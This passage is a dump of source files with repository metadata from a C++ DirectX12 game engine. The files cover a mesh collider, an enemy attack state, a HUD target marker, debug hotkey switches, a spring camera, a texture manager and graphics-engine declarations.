vert.pos;\n\t\t\t\t\t//バイアスをかける。\n\t\t\t\t\tmBias.Apply(pos);\n\t\t\t\t\tvertexBuffer->push_back(pos);\n\t\t\t\t}\n\t\t\t\tm_vertexBufferArray.push_back(std::move(vertexBuffer));\n\t\t\t}\n\t\t\t//インデックスバッファを作成。\n\t\t\t{\n\n\t\t\t\t//@todo cmoファイルはインデックスバッファのサイズは2byte固定。\n\t\t\t\tIndexBufferPtr indexBuffer = std::make_unique<IndexBuffer>();\n\n\n\t\t\t\tif (!mesh.indexBuffer32Array.empty())\n\t\t\t\t{\n\t\t\t\t\tfor (const auto& indbuff : mesh.indexBuffer32Array)\n\t\t\t\t\t{\n\t\t\t\t\t\tfor(const auto& ind: indbuff.indices )\n\t\t\t\t\t\t\tindexBuffer->push_back(ind);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tfor (const auto& indbuff : mesh.indexBuffer16Array)\n\t\t\t\t\t{\n\t\t\t\t\t\tfor (const auto& ind : indbuff.indices)\n\t\t\t\t\t\t\tindexBuffer->push_back(ind);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tm_indexBufferArray.push_back(std::move(indexBuffer));\n\t\t\t}\n\n\t\t\t//インデックスメッシュを作成。\n\t\t\tbtIndexedMesh indexedMesh;\n\t\t\tIndexBuffer* ib = m_indexBufferArray.back().get();\n\t\t\tVertexBuffer* vb = m_vertexBufferArray.back().get();\n\t\t\tindexedMesh.m_numTriangles = (int)ib->size() / 3;\n\t\t\tindexedMesh.m_triangleIndexBase = (unsigned char*)(&ib->front());\n\t\t\tindexedMesh.m_triangleIndexStride = 12;\n\t\t\tindexedMesh.m_numVertices = (int)vb->size();\n\t\t\tindexedMesh.m_vertexBase = (unsigned char*)(&vb->front());\n\t\t\tindexedMesh.m_vertexStride = sizeof(Vector3);\n\t\t\tm_stridingMeshInterface->addIndexedMesh(indexedMesh);\n\t\t\t}\n\t\t);\n\t\tm_meshShape = std::make_unique<btBvhTriangleMeshShape>(m_stridingMeshInterface.get(), true);\n\t}\n}"
},
{
"alpha_fraction": 0.7168674468994141,
"alphanum_fraction": 0.7289156913757324,
"avg_line_length": 22.66666603088379,
"blob_id": "78c85dad9d5178abdc8a4ef9415e4a92c5d5d7b6",
"content_id": "1046e390576ce8fa31d2459a24c6b4dfd3d9979c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 498,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 21,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleePunchState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyMeleePunchState : public IEnemyState\n{\npublic:\n\tEnemyMeleePunchState();\n\tvirtual ~EnemyMeleePunchState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tfloat m_timer = 0.f;\n\tconst float m_damageAmount = 5.f;\n\tconst float m_range = 30.f;\n\tconst float m_intervalSec = 1.f;\n\n\t//stamina\n\tconst float m_cost = 0.f;\n\tbool m_canExecute = true;\n};\n\n"
},
{
"alpha_fraction": 0.6980817317962646,
"alphanum_fraction": 0.7030858993530273,
"avg_line_length": 13.273809432983398,
"blob_id": "68d6e095baff5b432d7de6c81a813de652ae1b63",
"content_id": "5523636ab81e07f30ac41dfb8e0b197bfa95e536",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1199,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 84,
"path": "/Game/HUD/TargetMarker.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"TargetMarker.h\"\n\n\nTargetMarker::TargetMarker()\n{\n\n}\n\nTargetMarker::~TargetMarker()\n{\n\n}\n\n\n\nvoid TargetMarker::Release()\n{\n\tDeleteGO(m_spMarker);\n}\n\nvoid TargetMarker::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid TargetMarker::Awake()\n{\n\n}\n\nbool TargetMarker::Start()\n{\n\n\tSpriteInitData sd;\n\tm_spMarker = NewGO<SpriteRender>(0);\n\tsd.m_ddsFilePath[0] = \"Assets/Image/targetMarker.dds\";\n\tsd.m_height = m_flSpHpHeight;\n\tsd.m_width = m_flSpHpWidth;\n\tm_spMarker->Init(sd);\n\tm_spMarker->SetSca(m_markerScale);\n\tm_spMarker->SetPivot(m_SPRITE_PIVOT);\n\tm_spMarker->MainCameraView();\n\tm_spMarker->Mode_BillBord();\n\tm_spMarker->CameraScaleLock();\n\tm_spMarker->SetMulColor(m_COLOR);\n\n\treturn true;\n}\n\n\nvoid TargetMarker::PreUpdate()\n{\n\n}\n\nvoid TargetMarker::Update()\n{\n\tauto eyePos = g_camera3D->GetPosition();\n\tauto vecEyeToParent = m_parentPos - eyePos;\n\tvecEyeToParent.y = 0.f;\n\tvecEyeToParent.Normalize();\n\tvecEyeToParent.Cross(Vector3::Up);\n\tauto right = vecEyeToParent;\n\tauto Pos = m_parentPos + m_markerPosOffset;// +right * m_flSpHpWidth / 2.f;\n\tm_spMarker->SetPos(Pos);\n}\n\nvoid TargetMarker::PostUpdate()\n{\n\n}\n\n\nvoid TargetMarker::Render()\n{\n\n}\n\nvoid TargetMarker::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.49074074625968933,
"alphanum_fraction": 0.5144444704055786,
"avg_line_length": 17.627586364746094,
"blob_id": "eed302dbdb9d2d625b23c054de9d4b50e35d5f79",
"content_id": "68160f8a6d6ef25cdfb83fca6d0bd8a27626321d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2700,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 145,
"path": "/UsualEngineR/Debug/DebugSwitch.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"DebugSwitch.h\"\n\n\nnamespace UER\n{\n\tstd::function<void()> DebugSwitch::nullFunc = []() {};\n\n\tvoid DebugSwitch::Update()\n\t{\n\t\tif (g_hWnd != GetForegroundWindow())\n\t\t\treturn;\n\n\t\tfor (auto s : m_checkButton)\n\t\t{\n\t\t\tif (GetAsyncKeyState(s->key1) & 0x8000 && (s->key2 == 0 || (GetAsyncKeyState(s->key2) & 0x8000)))\n\t\t\t{\n\t\t\t\tif (s->oldFrameIsPushed)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (!s->isPushed)\n\t\t\t\t{\n\t\t\t\t\ts->isPushed = true;\n\t\t\t\t\ts->triggerOnFunc();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ts->isPushed = false;\n\t\t\t\t\ts->triggerOffFunc();\n\t\t\t\t}\n\t\t\t\ts->oldFrameIsPushed = true;\n\t\t\t}\n\t\t\telse\n\t\t\t\ts->oldFrameIsPushed = false;\n\t\t}\n\n\t\tSSwitch* sw = nullptr;\n\t\tfor (auto s : m_radioButton)\n\t\t{\n\t\t\tif (GetAsyncKeyState(s->key1) & 0x8000 && (s->key2 == 0 || (GetAsyncKeyState(s->key2) & 0x8000)))\n\t\t\t{\n\t\t\t\tif (s->oldFrameIsPushed)\n\t\t\t\t\tcontinue;\n\t\t\t\ts->oldFrameIsPushed = true;\n\t\t\t\tif (sw != nullptr && sw->key2 == 0 && s->key2 != 0)\n\t\t\t\t{\n\t\t\t\t\tsw = s;\n\t\t\t\t\ts->isPushed = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tsw = s;\n\t\t\t\ts->isPushed = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ts->oldFrameIsPushed = false;\n\t\t\t}\n\t\t}\n\t\tif (sw != nullptr)\n\t\t{\n\t\t\tfor (auto s : m_radioButton)\n\t\t\t{\n\t\t\t\tif (sw != s && s->isPushed)\n\t\t\t\t{\n\t\t\t\t\ts->isPushed = false;\n\t\t\t\t\ts->triggerOffFunc();\n\t\t\t\t}\n\t\t\t}\n\t\t\tsw->triggerOnFunc();\n\t\t}\n\n\t\tfor (auto it = m_radioBoxs.begin(); it != m_radioBoxs.end(); it++)\n\t\t{\n\t\t\tSSwitch* sw = nullptr;\n\t\t\tfor (auto s : it->second->box)\n\t\t\t{\n\t\t\t\tif (GetAsyncKeyState(s->key1) & 0x8000 && (s->key2 == 0 || (GetAsyncKeyState(s->key2) & 0x8000)))\n\t\t\t\t{\n\t\t\t\t\tif (s->oldFrameIsPushed)\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\ts->oldFrameIsPushed = true;\n\t\t\t\t\tif (sw != nullptr && sw->key2 == 0 && s->key2 != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tsw = s;\n\t\t\t\t\t\ts->isPushed = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tsw = s;\n\t\t\t\t\ts->isPushed = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ts->oldFrameIsPushed = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (sw != nullptr)\n\t\t\t{\n\t\t\t\tfor (auto s : it->second->box)\n\t\t\t\t{\n\t\t\t\t\tif (sw != s && s->isPushed)\n\t\t\t\t\t{\n\t\t\t\t\t\ts->isPushed = false;\n\t\t\t\t\t\ts->triggerOffFunc();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsw->triggerOnFunc();\n\t\t\t}\n\t\t}\n\n\t\tfor (auto s : m_button)\n\t\t{\n\t\t\ts->oldFrameIsPushed = s->isPushed;\n\t\t\tif (GetAsyncKeyState(s->key1) & 0x8000 && (s->key2 == 0 || (GetAsyncKeyState(s->key2) & 0x8000)))\n\t\t\t{\n\t\t\t\tif (!s->oldFrameIsPushed)\n\t\t\t\t{\n\t\t\t\t\ts->triggerOnFunc();\n\t\t\t\t}\n\t\t\t\ts->isPushed = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ts->isPushed = false;\n\t\t\t}\n\t\t}\n\n\t\tfor (auto s : m_checkButton)\n\t\t{\n\t\t\tif (s->isPushed)\n\t\t\t\ts->updateFunc();\n\t\t}\n\t\tfor (auto s : m_radioButton)\n\t\t{\n\t\t\tif (s->isPushed)\n\t\t\t\ts->updateFunc();\n\t\t}\n\t\tfor (auto it = m_radioBoxs.begin(); it != m_radioBoxs.end(); it++)\n\t\t{\n\t\t\tfor (auto s : it->second->box)\n\t\t\t\tif(s->isPushed)\n\t\t\t\t\ts->updateFunc();\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.6578249335289001,
"alphanum_fraction": 0.6702033877372742,
"avg_line_length": 15.518248558044434,
"blob_id": "fa3153cabb24f18cbd34b2b2b4e506d0af0549b0",
"content_id": "07f505b0143936ad71415cfb160e80bccc7241da",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2262,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 137,
"path": "/Game/Camera/SpringCamera.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Camera.h\"\n#include \"CCameraCollisionSlover.h\"\n\nclass SpringCamera\n{\npublic:\n\tSpringCamera();\n\t~SpringCamera();\n\tvoid Init(\n\t\tCamera* camera,\n\t\tfloat maxMoveSpeed,\n\t\tbool isEnableCollisionSolver,\n\t\tfloat sphereCollisionRadius\n\t);\n\n\tvoid SetTarget(const Vector3& target)\n\t{\n\t\tm_target = target;\n\t}\n\n\tvoid SetPosition(const Vector3 position)\n\t{\n\t\tm_position = position;\n\t}\n\n\tvoid SetFar(float _far)\n\t{\n\t\tif (m_camera == nullptr) {\n\t\t\treturn;\n\t\t}\n\t\tm_camera->SetFar(_far);\n\t}\n\n\tvoid SetNear(float _near)\n\t{\n\t\tif (m_camera == nullptr) {\n\t\t\treturn;\n\t\t}\n\t\tm_camera->SetNear(_near);\n\t}\n\n\tconst Matrix& GetCameraRotation() const\n\t{\n\t\tif (m_camera == nullptr) {\n\t\t\treturn Matrix::Identity;\n\t\t}\n\t\treturn m_camera->GetCameraRotation();\n\t}\n\n\tconst Vector3& GetTarget() const\n\t{\n\t\treturn m_target;\n\t}\n\n\tconst Vector3& GetPosition() const\n\t{\n\t\treturn m_position;\n\t}\n\n\tconst Vector3& GetRealTarget() const\n\t{\n\t\tif (m_camera == nullptr) {\n\t\t\treturn Vector3::Zero;\n\t\t}\n\t\treturn m_camera->GetTarget();\n\n\t}\n\n\tconst Vector3& GetRealPosition() const\n\t{\n\t\tif (m_camera == nullptr) {\n\t\t\treturn Vector3::Zero;\n\t\t}\n\t\treturn m_camera->GetPosition();\n\t}\n\n\tvoid Update();\n\n\tconst Camera* GetCamera() const\n\t{\n\t\treturn m_camera;\n\t}\n\n\tvoid SetDampingRate(float dampingRate)\n\t{\n\t\tm_targetDampingRate = dampingRate;\n\t}\n\n\tCamera* GetCamera()\n\t{\n\t\treturn m_camera;\n\t}\n\tvoid SetViewAngle(float angle)\n\t{\n\t\tif (m_camera == nullptr) {\n\t\t\treturn;\n\t\t}\n\t\tm_camera->SetViewAngle(angle);\n\t}\n\tfloat GetViewAngle() const\n\t{\n\t\tif (m_camera == nullptr) {\n\t\t\treturn 0.0f;\n\t\t}\n\t\treturn m_camera->GetViewAngle();\n\t}\n\n\tvoid Refresh()\n\t{\n\t\tm_targetMoveSpeed = Vector3::Zero;\n\t\tm_positionMoveSpeed = Vector3::Zero;\n\t\tm_isRefresh = true;\n\t}\n\n\tvoid UpdateSpringCamera();\n\n\tvoid UpdateCamera()\n\t{\n\t\tif (m_camera) {\n\t\t\tm_camera->Update();\n\t\t}\n\t}\nprivate:\n\tCamera* m_camera = nullptr;\n\tVector3\tm_target = Vector3::Zero;\n\tVector3\tm_position = Vector3::Zero;\n\tVector3\tm_targetMoveSpeed = Vector3::Zero;\n\tVector3\tm_positionMoveSpeed = Vector3::Zero;\n\tfloat\t\tm_maxMoveSpeed = 0.0f;\n\tfloat\t\tm_targetDampingRate = 1.0f;\n\tfloat\t\tm_dampingRate = 1.0f;\n\tfloat\t\tm_dampingRateVel = 0.0f;\n\tbool\t\tm_isEnableCollisionSolver = false;\n\tbool\t\tm_isRefresh = true;\n\tCCameraCollisionSlover m_cameraCollisionSolver;\n};"
},
{
"alpha_fraction": 0.6525096297264099,
"alphanum_fraction": 0.6698841452598572,
"avg_line_length": 13.416666984558105,
"blob_id": "a68c98d8b842a954ea771d123f063bf4fb3bd57b",
"content_id": "dea824b4f51dbed533bdd06200172ae5671e67b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 518,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 36,
"path": "/UsualEngineR/Graphics/TextureManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tclass TextureManager\n\t{\n\t\tTextureManager() {};\n\tpublic:\n\t\tvirtual ~TextureManager();\n\n\t\tstatic TextureManager& Get()\n\t\t{\n\t\t\tstatic TextureManager tm;\n\t\t\treturn tm;\n\t\t}\n\n\t\tvoid Release();\n\n\t\tID3D12Resource* Load(const wchar_t* path);\n\n\t\tID3D12Resource* Load(const char* memory, UINT size, const wchar_t* path);\n\n\n\tprivate:\n\t\tstruct FileData\n\t\t{\n\t\t\tbool isLoaded = false;\n\t\t\tID3D12Resource* texture = nullptr;\n\t\t};\n\t\tstd::map<int, FileData> m_textureDic;\n\n\t\tstd::mutex m_loadMutex;\n\t};\n}"
},
{
"alpha_fraction": 0.6129032373428345,
"alphanum_fraction": 0.6129032373428345,
"avg_line_length": 8.300000190734863,
"blob_id": "a9f9e148b580696a7e270296283b6bd96f0cc245",
"content_id": "9f95b22c74d38438d92adfaa873279a55a6b1221",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 107,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 10,
"path": "/UsualEngineR/math/Math.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n * @brief\t数学関係色々。\n */\n#include \"PreCompile.h\"\n#include \"math/Math.h\"\n\n\nnamespace UER\n{\n}\n"
},
{
"alpha_fraction": 0.645901620388031,
"alphanum_fraction": 0.645901620388031,
"avg_line_length": 8.870967864990234,
"blob_id": "cadb84900da71ae082935d848f7dc94b21cb37b9",
"content_id": "4ec6df4ec707fffb2edd7543f4ede33465ff6b14",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 305,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 31,
"path": "/Tools/UERGameObjectFileGenerator/Resource/TempEnemyState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"XXX.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\nXXX::XXX()\n{\n}\n\nXXX::~XXX()\n{\n}\n\nvoid XXX::Enter(IEnemy* e)\n{\n}\n\nIEnemyState* XXX::Update(IEnemy* e)\n{\n\treturn this;\n}\n\nvoid XXX::Exit(IEnemy* e)\n{\n}\n\n:block OnAttacked\nvoid XXX::OnAttacked(IEnemy* e)\n{\n}\n:end"
},
{
"alpha_fraction": 0.6662572026252747,
"alphanum_fraction": 0.6809033155441284,
"avg_line_length": 23.90117645263672,
"blob_id": "b0522add8846d356e55b28818aee63a397d610be",
"content_id": "45e3a9a1c87b51cde78c8177a31b765e88aab842",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 13047,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 425,
"path": "/UsualEngineR/Graphics/GraphicsEngine.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n#include <d3d12.h>\n#include <dxgi.h>\n#include <dxgi1_2.h>\n#include <dxgi1_3.h>\n#include <dxgi1_4.h>\n\n#include \"DirectXTK/Inc/DDSTextureLoader.h\"\n#include \"DirectXTK/Inc/ResourceUploadBatch.h\"\n#include \"DirectXTK/Inc/SpriteBatch.h\"\n#include \"DirectXTK/Inc/SpriteFont.h\"\n#include \"DirectXTK/Inc/GraphicsMemory.h\"\n\n#include \"RenderContext.h\"\n#include \"RaytracingEngine.h\"\n#include \"Raytracing/RaytracingEngine.h\"\n\n#include \"Light/LightManager.h\"\n#include \"PostEffect/PostEffect.h\"\n#include \"PreRender/PreRender.h\"\n\n#include \"ShadowMap.h\"\n\n#include \"Camera.h\"\n\n\nnamespace UER\n{\n\t\n\t/// <summary>\n\t/// DirectX12に依存するグラフィックスエンジン\n\t/// </summary>\n\tclass GraphicsEngine {\n\tpublic:\n\t\t/// <summary>\n\t\t/// デストラクタ。\n\t\t/// </summary>\n\t\t~GraphicsEngine();\n\t\t/// <summary>\n\t\t/// 初期化\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// 本関数を呼び出すことでDirectX12の初期化が行われます。\n\t\t/// </remarks>\n\t\t/// <param name=\"hwnd\">Windowハンドル</param>\n\t\t/// <param name=\"frameBufferwidth\">フレームバッファの幅</param>\n\t\t/// <param name=\"frameBufferHeight\">フレームバッファの高さ</param>\n\t\t/// <returns>falseが返ってきたら作成に失敗。</returns>\n\t\tbool Init(HWND hwnd, UINT frameBufferWidth, UINT frameBufferHeight);\n\t\t/// <summary>\n\t\t/// レンダリング開始。\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// 1フレームのレンダリングの開始時に呼び出してください。\n\t\t/// </remarks>\n\t\tvoid BeginRender();\n\t\t/// <summary>\n\t\t/// レンダリング終了。\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// 1フレームのレンダリングの終了時に呼び出してください。\n\t\t/// </remarks>\n\t\tvoid EndRender();\n\n\t\tvoid ResetRender();\n\n\t\tvoid ExecuteCommandList();\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tvoid RenderPostEffect()\n\t\t{\n\t\t\tm_postEffect.Render();\n\t\t}\n\n\t\t/// <summary>\n\t\t/// D3Dデバイスを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tID3D12Device5* GetD3DDevice()\n\t\t{\n\t\t\treturn m_d3dDevice;\n\t\t}\n\t\t/// <summary>\n\t\t/// バックバッファの番号を取得。\n\t\t/// </summary>\n\t\t/// <returns>バックバッファの番号。</returns>\n\t\tUINT GetBackBufferIndex() const\n\t\t{\n\t\t\treturn m_frameIndex;\n\t\t}\n\t\t/// <summary>\n\t\t/// コマンドキューを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tID3D12CommandQueue* GetCommandQueue() const\n\t\t{\n\t\t\treturn m_commandQueue;\n\t\t}\n\t\n\t\t/// <summary>\n\t\t/// CBR_SRVのディスクリプタのサイズを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tUINT GetCbrSrvDescriptorSize() const\n\t\t{\n\t\t\treturn m_cbrSrvDescriptorSize;\n\t\t}\n\n\t\tUINT GetSamplerDescriptorSize() const\n\t\t{\n\t\t\treturn m_samplerDescriptorSize;\n\t\t}\n\t\t/// <summary>\n\t\t/// レンダリングコンテキストを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tRenderContext& GetRenderContext()\n\t\t{\n\t\t\treturn m_renderContext;\n\t\t}\n\t\t/// <summary>\n\t\t/// フレームバッファの幅を取得。\n\t\t/// </summary>\n\t\t/// <returns>フレームバッファの幅。</returns>\n\t\tUINT GetFrameBufferWidth() const\n\t\t{\n\t\t\treturn m_frameBufferWidth;\n\t\t}\n\t\t/// <summary>\n\t\t/// フレームバッファの高さを取得。\n\t\t/// </summary>\n\t\t/// <returns>フレームバッファの高さ。</returns>\n\t\tUINT GetFrameBufferHeight() const\n\t\t{\n\t\t\treturn m_frameBufferHeight;\n\t\t}\n\t\t/// <summary>\n\t\t/// レンダリングターゲットをフレームバッファに変更する。\n\t\t/// </summary>\n\t\t/// <param name=\"rc\"></param>\n\t\tvoid ChangeRenderTargetToFrameBuffer(RenderContext& rc);\n\t\t/// <summary>\n\t\t/// 現在のフレームバッファのレンダリングターゲットビューを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE GetCurrentFrameBuffuerRTV() const\n\t\t{\n\t\t\treturn m_currentFrameBufferRTVHandle;\n\t\t}\n\n\t\tID3D12Resource* GetCurrentBuckBufferResource()\n\t\t{\n\t\t\treturn m_renderTargets[m_currentBackBufferIndex];\n\t\t}\n\n\t\tID3D12Resource* GetBuckBufferResource(int num)\n\t\t{\n\t\t\treturn m_renderTargets[num];\n\t\t}\n\t\t/// <summary>\n\t\t/// ジオメトリをレイトレーシングエンジンに登録。\n\t\t/// </summary>\n\t\t/// <param name=\"model\"></param>\n\t\tvoid RegistGeometoryToRaytracingEngine(Model& model)\n\t\t{\n\t\t\tm_raytracingEngine.RegistGeometry(model);\n\t\t}\n\t\t/// <summary>\n\t\t/// ジオメトリのレイトレーシングエンジンへの登録をコミット。\n\t\t/// </summary>\n\t\tvoid CommitRegistGeometoryToRaytracingEngine(RenderContext& rc)\n\t\t{\n\t\t\tm_raytracingEngine.CommitRegistGeometry(rc);\n\t\t}\n\t\t/// <summary>\n\t\t/// レイトレーシングをディスパッチ。\n\t\t/// </summary>\n\t\t/// <param name=\"rc\"></param>\n\t\tvoid DispatchRaytracing(RenderContext& rc)\n\t\t{\n\t\t\tm_raytracingEngine.Dispatch(rc);\n\t\t}\n\t\t/// <summary>\n\t\t/// フレームバッファにコピー。\n\t\t/// </summary>\n\t\t/// <param name=\"pDst\"></param>\n\t\tvoid CopyToFrameBuffer(RenderContext& rc, ID3D12Resource* pSrc)\n\t\t{\n\t\t\tD3D12_RESOURCE_BARRIER barrier = CD3DX12_RESOURCE_BARRIER::Transition(\n\t\t\t\tm_renderTargets[m_frameIndex],\n\t\t\t\tD3D12_RESOURCE_STATE_RENDER_TARGET,\n\t\t\t\tD3D12_RESOURCE_STATE_COPY_DEST);\n\t\t\trc.ResourceBarrier(barrier);\n\t\t\trc.CopyResource(m_renderTargets[m_frameIndex], pSrc);\n\t\n\t\t\tD3D12_RESOURCE_BARRIER barrier2 = CD3DX12_RESOURCE_BARRIER::Transition(\n\t\t\t\tm_renderTargets[m_frameIndex],\n\t\t\t\tD3D12_RESOURCE_STATE_COPY_DEST,\n\t\t\t\tD3D12_RESOURCE_STATE_RENDER_TARGET);\n\t\t\trc.ResourceBarrier(barrier2);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE GetCurrentBackBufferRTVHandle() const\n\t\t{\n\t\t\treturn m_currentFrameBufferRTVHandle;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tD3D12_CPU_DESCRIPTOR_HANDLE GetCurrentBackBufferDSVHandle() const\n\t\t{\n\t\t\treturn m_currentFrameBufferDSVHandle;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tRenderTarget* GetCurrentRenderTarget()\n\t\t{\n\t\t\treturn &m_mainRT;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tID3D12CommandAllocator* GetCommandAllocator() const\n\t\t{\n\t\t\treturn m_commandAllocator;\n\t\t}\n\n\t\tLightManager& GetLightManager()\n\t\t{\n\t\t\treturn m_lightManager;\n\t\t}\n\t\tPostEffect& GetPostEffect()\n\t\t{\n\t\t\treturn m_postEffect;\n\t\t}\n\t\tPreRender& GetPreRender()\n\t\t{\n\t\t\treturn m_preRender;\n\t\t}\n\n\t\tconst Primitive& GetPrimitive() const\n\t\t{\n\t\t\treturn m_primitive;\n\t\t}\n\n\t\tShadowMap& GetShadowMap()\n\t\t{\n\t\t\treturn m_shadowMap;\n\t\t}\n\n\t\tID3D12GraphicsCommandList* GetCommandList()const\n\t\t{\n\t\t\treturn m_commandList;\n\t\t}\n\n\t\t//font toka no\n\t\tDirectX::SpriteFont* GetSpriteFont() const\n\t\t{\n\t\t\treturn m_spriteFont;\n\t\t}\n\t\tDirectX::SpriteBatch* GetSpriteBatch() const\n\t\t{\n\t\t\treturn m_spriteBatch;\n\t\t}\n\t\tID3D12DescriptorHeap* GetFontDescriptorHeap() const\n\t\t{\n\t\t\treturn m_fontHeep;\n\t\t}\n\tprivate:\n\t\t/// <summary>\n\t\t/// D3Dデバイスの作成。\n\t\t/// </summary>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateD3DDevice( IDXGIFactory4* dxgiFactory );\n\t\t/// <summary>\n\t\t/// コマンドキューの作成。\n\t\t/// </summary>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateCommandQueue();\n\t\t/// <summary>\n\t\t/// スワップチェインの作成\n\t\t/// </summary>\n\t\t/// <param name=\"hwnd\">Windowハンドル</param>\n\t\t/// <param name=\"frameBufferWidth\">フレームバッファの幅</param>\n\t\t/// <param name=\"frameBufferHeight\">フレームバッファの高さ</param>\n\t\t/// <param name=\"dxgiFactory\">DirectX グラフィックス インフラストラクチャー</param>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateSwapChain(\n\t\t\tHWND hwnd,\n\t\t\tUINT frameBufferWidth,\n\t\t\tUINT frameBufferHeight,\n\t\t\tIDXGIFactory4* dxgiFactory\n\t\t);\n\t\t/// <summary>\n\t\t/// DirectX グラフィックス インフラストラクチャーの作成。\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// DirectX グラフィックス インフラストラクチャーは\n\t\t/// カーネル モード ドライバーおよびシステム ハードウェアと通信するためのインターフェースです。 \n\t\t/// </remarks>\n\t\t/// <returns>作成されたDXGI</returns>\n\t\tIDXGIFactory4* CreateDXGIFactory();\n\t\t/// <summary>\n\t\t/// フレームバッファ用のディスクリプタヒープを作成。\n\t\t/// </summary>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateDescriptorHeapForFrameBuffer();\n\t\t/// <summary>\n\t\t/// フレームバッファ用のレンダリングターゲットビューを作成。\n\t\t/// </summary>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateRTVForFameBuffer();\n\t\t/// <summary>\n\t\t/// フレームバッファ用の深度ステンシルビューを作成。\n\t\t/// </summary>\n\t\t/// <param name=\"frameBufferWidth\">フレームバッファの幅</param>\n\t\t/// <param name=\"frameBufferHeight\">フレームバッファの高さ</param>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateDSVForFrameBuffer( UINT frameBufferWidth,UINT frameBufferHeight );\n\t\t/// <summary>\n\t\t/// コマンドリストの作成。\n\t\t/// </summary>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateCommandList();\n\t\t/// <summary>\n\t\t/// GPUとの同期オブジェクト作成\n\t\t/// </summary>\n\t\t/// <returns>trueが返ってきたら作成に成功。</returns>\n\t\tbool CreateSynchronizationWithGPUObject();\n\t\t/// 